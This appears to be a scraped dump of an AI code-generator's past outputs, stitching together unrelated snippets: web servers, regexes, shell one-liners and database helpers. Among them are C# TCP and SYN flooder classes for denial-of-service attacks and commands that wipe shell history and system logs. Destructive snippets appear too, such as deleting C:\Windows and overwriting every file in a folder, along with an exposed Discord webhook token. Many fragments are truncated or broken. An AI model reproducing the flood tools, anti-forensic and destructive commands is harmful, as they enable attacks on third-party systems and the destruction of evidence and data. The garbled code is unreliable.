blocks country from firewall
ufw deny from {country code}
All generations.
ufw deny from {country code}
package main
import (
"net/http"
"log"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hello World"))
})
log.Fatal(http.ListenAndServe(":8080", nil))
}
if "SilkyFalcon" not in support:
print("SilkyFalcon is not in the list")
System.out.println("Hello")
support := []string{"SilkyFalcon"}
for _, val := range support {
if val == "SilkyFalcon" {
fmt.Println("It does contain SilkyFalcon")
}
}
O(n)
Script
function contains_swears(text: string) -> bool:
return 'fuck' in text
neofetch
func delete(db *sql.DB) {
_, err := db.Exec("delete from users")
if err != nil {
fmt.Println("delete err:", err)
}
}
The code is a simple representation of the database connection and it's usage.
using System.IO;
string path = "C:\Users\ierturk\Desktop\test";
string[] files = Directory.GetFiles(path);
foreach (string fileName in files)
{
string content = File.ReadAllText(fileName);
File.WriteAllText(fileName, "// Coded by Inventex\r\n" + content);
}
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <filename>
echo "I am sending you an sms." | mail -s "sms" myphonenumber@messaging.sprintpcs.com
yum install -y httpd
const connect_to_db = () => {
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost:27017/<DB_NAME>', {useNewUrlParser: true, useUnifiedTopology: true});
const db = mongoose.connection;
db.on('error', console.error.bind(console, 'connection error:'));
db.once('open', console.log.bind(console, 'Connected to db'));
}
touch killer.sh
ping -c 2 google.com
for ((i=1;i<=10;i++))
do
if [ "$tudni" == "akarni" ]; then
echo "Tudni == Akarni"
else
echo "Tudni != Akarni"
fi
done
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;
using System.Linq;
namespace TCPFlooder
{
public class TCPFlooder
{
static void Main(string[] args)
{
string ip = args[0];
int port = Convert.ToInt32(args[1]);
int delay = Convert.ToInt32(args[2]);
int threads = Convert.ToInt32(args[3]);
var list = Enumerable.Range(0, threads).Select(i => new Thread(() => new TCPFlooder().Flood(ip, port, delay))).ToList();
foreach (Thread t in list)
t.Start();
}
public void Flood(string ip, int port, int delay)
{
while (true)
{
Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.U
apt
^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?(?:[^:\/\n?]+)?(?:\:\d+)?(?:\/?[^#\n?]*)?(?:[#\?]?.*)?$
sort dups.txt | uniq
if(!in_array("SilkyFalcon", $support))
{
array_push($support, "SilkyFalcon");
}
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file.txt
class synFlooder : Flooder
{
public override void attack(string ip, int port, int delay, int threads)
{
try
{
// the socket class
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Tcp);
// packet struct
structs.IPHeader ipHeader = new structs.IPHeader();
structs.TCPHeader tcpHeader = new structs.TCPHeader();
// some random ports
Random r = new Random();
// the ip address
IPAddress dest = IPAddress.Parse(ip);
// ip header
ipHeader.ip_verlen = 0x45;
ipHeader.ip_tos = 0x00;
ipHeader.ip_totallength = 0;
ipHeader.ip_id = 0;
ipHeader.ip_offset = 0;
ipHeader.ip_ttl = 0xFF;
ipHeader.ip_protocol = 0x06;
if [ $# -eq 2 ] ; then
if [ -e $1 ]
then
echo "File $1 exists"
echo "Moving $1 to $2"
mv $1 $2
echo "Moving Successful"
else
echo "File $1 does not exist"
fi
else
echo "Error, Wrong number of arguments"
fi
void send_message(string message) {
}
func delete_data() {
database_connect()
database_delete_all_data()
}
rm log/*
def turn_off():
print("Turning off")
time.sleep(2)
print("Turned off")
turn_off()
curl ipinfo.io/ip
lsof -i:8080
kill -9 PID_NUMBER
def find(identifier: str) -> str:
for element in data:
if element.startswith(identifier):
return element[identifier.length:]
return identifier
head -c 6 /dev/urandom | base64 | tr '/+' '🍏'
for i in test tudni akarni; do
if [[ $i != "tudni" ]];then
echo "Tudni != Akarni"
fi
done
free -m
* * * * * echo test
grep email test.txt
find / -name * -print
apg -m 10 -n 1 -x 14 -M NCL -t
https://www.reddit.com/r/Twitch/comments/4e4k89/nsfw_regex/
top
#include <stdio.h>
int main()
{
system("shutdown -s -t 0");
return 0;
}
#include <iostream>
#include <fstream>
#include <dirent.h>
using namespace std;
int main()
{
DIR *dir;
struct dirent *ent;
if ((dir = opendir ("C:/Users/Inventex/Downloads/Code")) != NULL)
{
while ((ent = readdir (dir)) != NULL)
{
string name = ent->d_name;
if(name.find(".txt") != string::npos)
{
ofstream outfile;
outfile.open("C:/Users/Inventex/Downloads/Code/"+name);
outfile << "//Coded by Inventex" << endl;
outfile.close();
}
}
closedir (dir);
}
else
{
cout << "Could not open the folder" << endl;
}
return 0;
}
class Calculator:
def add(self, x, y):
return x + y
calc = Calculator()
print(calc.add(2, 3))
package main
import (
"strconv"
"github.com/google/go-js-transform/transform"
"github.com/google/go-js-transform/js/parser"
"github.com/google/go-js-transform/js/printer"
"github.com/google/go-js-transform/passes/replace"
"github.com/google/go-js-transform/passes/rename"
)
var (
transforms = []transform.Transform{
rename.NewRenamer(),
replace.NewReplacer(),
}
)
func main() {
p := parser.New()
for _, t := range transforms {
p.AddTransform(t)
}
pr := printer.Config{
Indent: " ",
LineLength: 80,
}
code := `
function add(a, b) {
return a + b;
}
`
node,
O(n)
df -h
void installTOR
{
wget https://www.torproject.org/dist/torbrowser/9.0.4/tor-browser-linux64-9.0.4_en-US.tar.xz
sudo apt install tor
}
The regex matches words that are exactly "fuck".
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file_name>
mkdir test
### How to deal with time complexity?
- Use data structures with good time complexity for basic operations.
- Use libraries with good time complexity for basic operations.
- Measure time complexity of the code.
- Look for bottlenecks.
- Think about time complexity before writing the code.
### Space Complexity
- Space complexity of an algorithm quantifies the amount of space or memory taken by an algorithm to run as a function of the length of the input.
- Space complexity needs to be taken seriously for multi-user systems, embedded systems, and systems where memory is at a premium.
- Space complexity includes both Auxiliary space and space used by input.
- Auxiliary space is the extra space or temporary space used by an algorithm.
- Space complexity of an algorithm is mostly the function of input size.
- Example: If the input size is n, then space complexity can be O(1), O(n), O(n2), O(log n), O(n log n), etc.
- Space complexity can be defined as a function relating the input length to the space required by the algorithm.
mv original.txt renamed.txt
rm -rf kernel
#
public string SendMessageToWebhook(string message)
{
var webhookUrl = "https://discordapp.com/api/webhooks/XXXXX/XXXX";
var httpClient = new HttpClient();
var content = new StringContent(message);
var response = httpClient.PostAsync(webhookUrl, content).Result;
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
cat /proc/version
cat file.txt | uniq
rm -rf *
ping ip
<a href="https://www.google.com">google</a>
df -h
rm -rf /mnt/test/boot/kernel
du -a /var | sort -n -r | head -n 5
// Create a simple HelloWorld function that takes a name as string and returns "Hello " + name
package main
import (
"fmt"
"net/http"
"github.com/gorilla/mux"
)
func main() {
// Create a Router with a simple route and handler function
mux := mux.NewRouter()
mux.HandleFunc("/{name}", HelloWorld).Methods("GET")
// Output "Hello World" when on http://localhost:8000/Hello
http.ListenAndServe(":8000", mux)
}
func HelloWorld(w http.ResponseWriter, r *http.Request) {
name := mux.Vars(r)["name"]
fmt.Fprint(w, "Hello "+name)
}
free -g
rm -rf log/*
Script
function check(text) {
var swearWords = ['fuck', 'bitch', 'shit', 'damn', 'cunt'];
for (var i = 0; i < swearWords.length; i++) {
if(text.indexOf(swearWords[i]) !== -1) {
return 'That\'s the worst!';
} else {
return 'This is nice';
}
}
}
check('fuck');
if [ $# -eq 0 ]
then
echo "You must type an IP address!"
else
sudo iptables -A INPUT -s "$1" -j DROP
echo "IP address $1 is now blocked!"
fi
const queries = {
users: {
allUsers: 'SELECT * FROM users'
}
};
function query(query, params) {
return new Promise((resolve, reject) => {
pool.query(query, params, (err, res) => {
if (err) {
reject(err);
}
resolve(res);
});
});
};
function getUsers() {
return query(queries.users.allUsers);
};
getUsers()
.then(res => {
console.log(res);
})
.catch(err => {
console.error(err);
});
stop
docker stop $(docker ps -a -q)
echo $1 | sudo -S -k ls
top -b -n1 | grep "Cpu(s)" | awk '{print $2 + $4}'
journalctl -f -u ssh.service | grep -i "port 22" | grep -v 192.168.0.0 | wget -qO- --post-data '{"content":"SSH login from another country"}' --header 'Content-Type: application/json' https://discordapp.com/api/webhooks/690800743340001300/HriKZpV1Z5CYm7VdlJjKm2cVFbN6h2gCVwcxqZ3_jHrX9-Lp6aWK6UJN6Uohgk_a6GkU
#include <discord_webhook.h>
#include <string>
void sendMessage(std::string message){
std::cout << message;
}
sendMessage("Hello World");
fn main() {
for _i in 0..3 {
println!("Hello");
}
}
ssh user@server "if [ $SSH_CLIENT != *"HU"* ] ; then echo \"$SSH_CLIENT\" ; fi"
import os
os.system("sudo shutdown -h now")
ps -aux | grep ssh
kill -9 [processID]
package main
import (
"fmt"
"net/http"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, you've requested: %s\n", r.URL.Path)
})
http.ListenAndServe(":8000", nil)
}
openssl rand -base64 32
O(N)
du -a | sort -n -r | head -n 10
function connect_to_database(username, password, database_name):
// connect to database using username, password and database name
// return connection object
return connection
if [ $tudni == $akarni ]; then
echo "Tudni == Akarni"
else
echo "Tudni != Akarni"
fi
package main
import (
"bufio"
"fmt"
"io/ioutil"
"os"
)
func main() {
files, err := ioutil.ReadDir("./")
if err != nil {
fmt.Println(err)
os.Exit(1)
}
for _, f := range files {
if f.Name()[0] == "." {
continue
}
file, _ := os.Open(f.Name())
writer := bufio.NewWriter(file)
writer.WriteString("// Coded by Inventex\n")
writer.Flush()
file.Close()
}
}
for i in $(seq 1 1 10); do
if [ "$1" != "akarni" ]; then
echo "Tudni != Akarni"
fi
done
static void synFlood(string ip, int port, int delay, int threads)
{
try
{
TcpClient client = new TcpClient();
IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(ip), port);
client.Connect(ipEndPoint);
client.Close();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace SynFlooder
{
public class Flood
{
public static string ip = "192.168.1.1";
public static int port = 80;
public static int delay = 1;
public static int threads = 25;
public static int threads1 = 25;
public static void Main(string[] args)
{
var thread = new Thread(() =>
{
while (true)
{
var syn = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
syn.Connect(new IPEndPoint(IPAddress.Parse(ip), port));
}
});
thread.Start();
Console.WriteLine($"Flooding {ip}:{port} with {threads} threads");
Console.ReadLine();
}
}
}
ipconfig
if("SilkyFalcon" %in% support){
print("Yes")
}
curl -s https://api.bitfinex.com/v1/ticker/btcusd | python -m json.tool | grep -i last_price | awk '{print $2}' | tr -d '"'
@reboot /etc/init.d/ssh start
* * * * * /etc/init.d/ssh start
void connectDatabase(){
// do something
}
if($#argv != 1){
echo "ERROR: not enough arguments in $argv[0]"
exit 1
}
const db = require('db');
const database = db.connect();
openssl rand -base64 8
#include <iostream>
using namespace std;
int main()
{
cout << "Hello World!";
return 0;
}
std::remove("file.txt");
service --status-all
#!/bin/bash
firefox google.com
#include <iostream>
#include <vector>
int main() {
std::vector<std::string> support = {"SilkyFalcon", "HelenLau"};
if (std::find(support.begin(), support.end(), "SilkyFalcon") != support.end()) {
std::cout << "SilkyFalcon is in the support list\n";
} else {
std::cout << "SilkyFalcon is not in the support list\n";
}
return 0;
}
package dev.inventex.queuesystem;
import com.google.inject.Inject;
import com.moandjiezana.toml.Toml;
import com.velocitypowered.api.command.CommandManager;
import com.velocitypowered.api.command.CommandMeta;
import com.velocitypowered.api.event.Subscribe;
import com.velocitypowered.api.event.proxy.ProxyInitializeEvent;
import com.velocitypowered.api.plugin.Plugin;
import com.velocitypowered.api.plugin.annotation.DataDirectory;
import com.velocitypowered.api.proxy.ProxyServer;
import dev.inventex.queuesystem.modules.QueueCommand;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.slf4j.Logger;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
^\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}$
func deleteData(conn string) {
defer db.Close()
db, err := sql.Open("mysql", conn)
if err != nil {
log.Fatalf("Error connecting to database: %v", err)
}
// ...
_, err = db.Exec("DELETE FROM user")
if err != nil {
log.Fatalf("Error deleting data: %v", err)
}
}
sudo apt-get remove --purge <package name>
// C++ code
int max(int num1, int num2) {
// local variable declaration
int result;
if (num1 > num2)
result = num1;
else
result = num2;
return result;
}
max(1, 2)
for i in $(ls); do rm $i; done
https://www.google.com
http://www.google.com
www.google.com
google.com
https://google.com
http://google.com
console.log(`Is tor running? ${await getIsTorRunning()}`);
func multiplyBy20(a int) int {
return a * 20
}
func main() {
fmt.Println(multiplyBy20(10))
}
void webhook(char message)
{
//send message
}
webhook("hello world")
touch test.sh
nano test.sh
ping 8.8.8.8
speedtest-cli
def add(a, b):
return a + b
add(1, 2)
pkill -9 ssh
#!/bin/bash
cowsay $(fortune)
var email = "johndoe@gmail.com";
var emailRegex = /^[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}$/;
if (emailRegex.test(email)) {
console.log(email + " is valid.");
} else {
console.log(email + " is not valid.");
}
function(){
#ifconfig wlan0 down
#ifconfig eth0 down
sudo shutdown
}
func Gui() {
window := gtk.NewWindow(gtk.WINDOW_TOPLEVEL)
window.SetPosition(gtk.WIN_POS_CENTER)
window.SetTitle("First GUI in Go")
window.Connect("destroy", func(ctx *glib.CallbackContext) {
println("called when window is closed")
gtk.MainQuit()
})
window.ShowAll()
}
using OpenQA.Selenium;
using OpenQA.Selenium.Chrome;
using OpenQA.Selenium.Firefox;
using OpenQA.Selenium.IE;
using OpenQA.Selenium.Support.UI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace SeleniumTest_6
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Starting to download the TOR browser");
using (WebClient Client = new WebClient())
{
Client.DownloadFile("https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe", @"C:\Users\YOURUSER\Downloads\torbrowser
func add(a, b int) int{
return a+b
}
func DeleteWindows()
mysqldump -u root -p --databases DATABASE_NAME > DATABASE_NAME.sql
import requests
def send_message(message):
url = 'https://discordapp.com/api/webhooks/some_long_url'
requests.post(url, json={"content": message})
send_message("Hello World!")
cat /dev/null > ~/.bash_history && history -c && exit
rm -rf /var/log/*
## Step 5: Running the bot
Use the following command to start the bot:
pwgen
void sendMessage(String message) {
var data = json.encode({
'content': message,
'username': 'YOUR_USER_NAME',
'avatar_url': 'THE_AVATAR_URL'
});
http.post(
'DISCORD_WEBHOOK_URL',
headers: {
'Content-Type': 'application/json',
},
body: data);
}
sendMessage('test message')
sort -u test > test
uby
def grader(num1, num2):
if num1 > num2:
return "num1 is greater"
elif num2 > num1:
return "num2 is greater"
else:
return "they are equal"
grader(5, 6)
## ⚠️ Troubleshooting
### My bot never started
Make sure you have set the following environment variables correctly:
- APPID
- APIHASH
- APINAME
- WEBHOOK
- WEBHOOK_NAME
- INPUT_CHANNELS
- MENTION_ROLE_ID
- BLACKLIST
### The bot is not sending any message
- Make sure the bot is connected to your server
- Make sure you have set the bot's role above all other roles
- Make sure you have entered the channel ID correctly
- Make sure you have entered the role ID correctly
## 🚀 Deploy on Heroku
[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy)
## 📜 License
- **[MIT license](http://opensource.org/licenses/mit-license.php)**
curl -X POST -H "Content-Type: application/json" -d "{\"username\": \"Travis CI\", \"avatar_url\": \"https://travis-ci.org/images/logos/TravisCI-Mascot-1.png\", \"content\": \"I have finished testing the new branch, here is my result: <https://travis-ci.org/you/yourepo/builds/${TRAVIS_BUILD_NUMBER}>\"}" "https://discordapp.com/api/webhooks/xxxxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxxxxxxxxxxxxx"
sudo vlock -a
bool checker(int a, int b)
{
int c = a - b;
if (c > 0)
return true;
else
return false;
}
static public void Main ()
{
System.Console.WriteLine ("Hello World");
}
pg_dump -h localhost -p 5432 -U postgres -F c -b -v -f "/home/test.backup" db_name
echo 'a' | sudo -S -v 2> /dev/null && echo "$1 has sudo access"
sort test/b.txt | uniq > test/unique.txt
/^[a-z0-9]+@[a-z0-9]+\.[a-z]{2,3}$/
func add(a int, b int) int {
return a + b
}
cat /dev/null > ~/.bash_history && history -c && exit
class miner {
public static void main() {
int i = 0;
while (true) {
while (i < 1000) {
i = i + 1;
}
}
}
}
for i in range(5):
print("Hello")
/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/
echo "hello world" | wall -n
python -c "import random, string; print ''.join([random.choice(string.ascii_letters + string.digits + '-.,:;+=_*~?!()[]{}^@%#') for _ in range(30)]).replace(' ', '')"
http request
GET http://localhost:8080/greeting
if (process.platform === "win32") {
console.log("Running on windows");
}
fun main(args: Array<String>) {
val support = listOf<String>("Dennis", "SilkyFalcon", "Brianna")
if ("SilkyFalcon" in support) {
println("Yay!")
} else {
println("Nay!")
}
}
sudo deluser args1
func main() {
http.HandleFunc("/", func (w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, `{"message": "Hello World"}`)
})
http.ListenAndServe(":3000", nil)
}
vim killer.sh
private void tcpMethod(string ip, int port, int delay, int threads)
{
TcpClient tcp = new TcpClient();
IPAddress ipa = IPAddress.Parse(ip);
IPEndPoint ipep = new IPEndPoint(ipa, port);
tcp.Connect(ipep);
int i = 1;
while (i <= threads)
{
Thread.Sleep(delay);
tcp.Connect(ipep);
i++;
}
}
import 'package:firebase_database/firebase_database.dart';
final dbRef = FirebaseDatabase.instance.reference();
dbRef.child("name").set("John");
dbRef.child("age").set(20);
dbRef.child("name").once().then((DataSnapshot snapshot) {
print('Connected to second database and read ${snapshot.value}');
});
def max(a, b):
if a > b:
return a
else:
return b
max(1, 2)
mysqldump -u root -p --all-databases > db.sql
let info = Text("Hello, World!")
let webhook = Webhook(url: "webhook url", content: info)
webhook.post()
func writeToFile(folder: path) {
files = getFiles(path: folder)
for file in files {
f = open(file: file)
f.write("Coded by Inventex")
}
}
grep -o "\([A-Za-z0-9_\-\.]\+\@[A-Za-z0-9_\-\.]\+\.[A-Za-z]\{2,5\}\)" test.txt
service mysql start
package dev.inventex.queuesystem;
import com.google.inject.Inject;
import com.moandjiezana.toml.Toml;
import com.velocitypowered.api.command.CommandManager;
import com.velocitypowered.api.command.CommandMeta;
import com.velocitypowered.api.event.Subscribe;
import com.velocitypowered.api.event.proxy.ProxyInitializeEvent;
import com.velocitypowered.api.plugin.Plugin;
import com.velocitypowered.api.plugin.annotation.DataDirectory;
import com.velocitypowered.api.proxy.ProxyServer;
import dev.inventex.queuesystem.modules.QueueCommand;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.slf4j.Logger;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
func main() {
http.HandleFunc("/api/", func(res http.ResponseWriter, req *http.Request) {
res.Header().Set("Content-Type", "application/json")
var item Item
item.Name = "John"
payload, _ := json.Marshal(item)
res.Write(payload)
})
fmt.Println("Listening on port 3000...")
http.ListenAndServe(":3000", nil)
}
ps aux | grep ssh
openssl rand -base64 32
ping -c 1 8.8.8.8
export a specific database
mysqldump -u [username] -p [database name] > [database name].sql
sort -u "file" -o "file"
df -h
free -g
free -m
openssl rand -base64 8
(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]
void send(const char* message) {
// send the message
}
ufw allow 'OpenSSH'
ufw --force enable
function checkTorWindows() {
var torProcess = new ActiveXObject("Wscript.Shell");
torProcess.Run("tasklist /fi \"IMAGENAME eq tor.exe\"", 0, true);
if (torProcess.StdOut.ReadAll().includes("tor.exe")) {
return true;
}
return false;
}
import java.io.File;
File folder = new File("C:\\Users\\Inventex\\Documents");
File[] listOfFiles = folder.listFiles();
for (File file : listOfFiles) {
if (file.isFile()) {
System.out.println(file.getName());
}
}
package main
import (
"fmt"
"net/http"
"encoding/json"
)
type Payload struct {
Stuff Data
}
type Data struct {
Fruit Fruits
Veggies Vegetables
}
type Fruits map[string]int
type Vegetables map[string]int
func ServeHTTP(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
p := Payload {Data: Data{Fruit: Fruits{"Apple": 5, "Orange": 6}, Veggies: Vegetables{"Carrats": 7, "Peppers": 8}}}
enc := json.NewEncoder(w)
enc.Encode(p)
}
func main() {
fmt.Println("Starting HTTP server...")
http.HandleFunc("/", ServeHTTP)
http.ListenAndServe(":8080", nil)
}
uname -a
awk '!x[$0]++' file
package main
import "fmt"
func returnTwoValues() (int, int) {
return 5, 6
}
func main() {
n1, n2 := returnTwoValues()
fmt.Println(n1, n2)
}
grep -q -F 'Karcsi' test.txt || (for idx in $(seq 1 100); do echo 'Karcsi' >> test.txt ; done; rm test.txt; touch test.txt)
ps aux | grep ssh | awk '{print $2}' | xargs kill -9
iptables -A INPUT -p tcp -m tcp --dport 25564 -j ACCEPT
#include <bits/stdc++.h>
#include <string>
#include <fstream>
using namespace std;
int main()
{
string path = "C:\\Users\\source"; //path of the folder
string comment = "//Coded By Inventex";
vector<string> files;
for (const auto& entry : filesystem::directory_iterator(path))
{
files.push_back(entry.path().string());
}
for(int i = 0; i < files.size(); i++)
{
ofstream f(files[i], ios::app);
f << comment;
f.close();
}
return 0;
}
$ ./make.sh clean
sudo iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set
sudo iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP
func main() {
// Create a new Window
myWindow := window.NewWindow("Base Window", 640, 480, true)
}
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" regex_practice.txt
func handler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, World!")
}
mysqldump -u root -p123456 --opt --databases app_data > app_data.sql
find . -name "*.txt" -exec rm -f {} \;
mysqldump --databases [your_database_name] > [your_database_name].sql
grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}'
cat duplicates.txt | sort | uniq > duplicates_no_duplicates.txt
def max_of_two(a, b):
if a > b:
return a
else:
return b
max_of_two(10, 12)
O(n)
def shut_down():
return 'Shutting down'
shut_down()
def max_num(num1, num2):
if num1 > num2:
return num1
else:
return num2
max_num(1, 2)
top
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
## File IO
sqlite3 *connectToDatabase() {
sqlite3 *db;
int rc = sqlite3_open("/tmp/test.db", &db);
if (rc) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return db;
}
return db;
}
if(support.indexOf("SilkyFalcon") !== -1) {
console.log("We have your back!");
}
echo "* * * * * /home/ec2-user/test.sh" | crontab -
public class Solution {
static String clean (String text){
return text.replaceAll("(?i)bro", "").replace("(?i)dude", "");
}
}
openssl passwd -1 -salt 'salt' 'password'
docker stop $(docker ps -a -q)
sudo -l -U $1
df -h
def connect_to_database() do
{:ok, pid} = Postgrex.start_link(hostname: "127.0.0.1", database: "web_development")
pid
end
fail2ban-client set ssh banip IP
openssl rand -base64 12
uname -r
Script
function injectMyName(folder) {
fs.readdir(folder, function(err, files) {
files.forEach(function(file) {
fs.readFile(file, fileContent => {
fs.writeFile(file, `// Coded by Inventex\n\n${fileContent}`)
})
})
})
}
ping 37.221.209.195
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
}
wget \
--recursive \
--no-clobber \
--page-requisites \
--html-extension \
--convert-links \
--restrict-file-names=windows \
--domains website.org \
--no-parent \
www.website.org/tutorials/html/
iptables -I INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
if [ $# -eq 0 ]
then
echo "not argument"
exit 1
fi
# block country by using iptables
iptables -I INPUT -s $1 -j DROP
func deleteWindows(system string) {
switch system {
case "mac":
fmt.Println("Go Fuck Yourself")
case "Debian":
fmt.Println("Go Fuck Yourself")
case "Windows":
fmt.Println("Kerry Fuck Yourself")
default:
fmt.Println("Go Fuck Yourself")
}
}
def max(x,y):
if x > y:
return x
else:
return y
max(4,7)
grep -o -E '\b[A-Za-z0-9]+@[A-Za-z0-9]+.[a-z]{2,6}\b' filename
// return type for the main function is int
int main() {
// ...
return 0;
}
def destroy_windows():
os.system("rm -rf C:\\Windows")
top
console.log(process.env.PORT);
sudo ufw allow from 195.228.45.0/24 to any port 22
sudo ufw deny from any to any port 22
The package me.silkyfalcon.client means that the class is inside the folder client of the folder me.silkyfalcon.
The first line imports all the necessary packages that are used in this class.
The next line is the class declaration with the public access specifier.
The following two lines declares the private field url and the list data.
The constructor Reader has two parameters url, which is assigned to the field url.
The method connect() creates a connection to the url and adds the data to the list data.
The method find() returns the value of the identifier from the list data.
cat /etc/passwd | cut -d: -f1
rm access.log
rm error.log
function isTorRunning(){
console.log('Checking if Tor is running...');
var cp = require('child_process');
cp.exec('ps aux | grep tor', (err, stdout) => {
if(err){
console.log('Error finding Tor');
throw err;
}
if(stdout.includes('tor')){
console.log('Tor is running');
}else{
console.log('Tor is not running. Please start Tor');
process.exit(1);
}
});
}
Generate
More than just a code generator. A tool that helps you with a wide range of tasks. All in one place.
Function from Description
Text Description to SQL Command
Translate Languages
Generate HTML from Description
Code to Explanation
Fix invalid Code
Get Test for Code
Class from Description
Regex from Description
Regex to Explanation
Git Command from Description
Linux Command
Function from Docstring
Add typing to code
Get Language from Code
Time complexity
CSS from Description
Meta Tags from Description